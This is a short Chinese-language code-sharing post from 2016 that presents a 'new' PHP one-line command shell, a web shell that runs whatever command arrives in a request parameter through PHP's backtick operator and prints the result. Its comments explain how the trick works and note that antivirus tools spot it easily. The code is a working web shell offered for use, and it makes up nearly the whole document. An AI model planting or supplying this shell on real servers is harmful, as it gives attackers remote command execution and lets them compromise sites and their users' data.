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php一句话cmdshell新型 (非一句话木马)

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Release： 2016-06-13 12:24:21
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复制代码 代码如下:


/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
//局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；``里面不能执行php代码；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>


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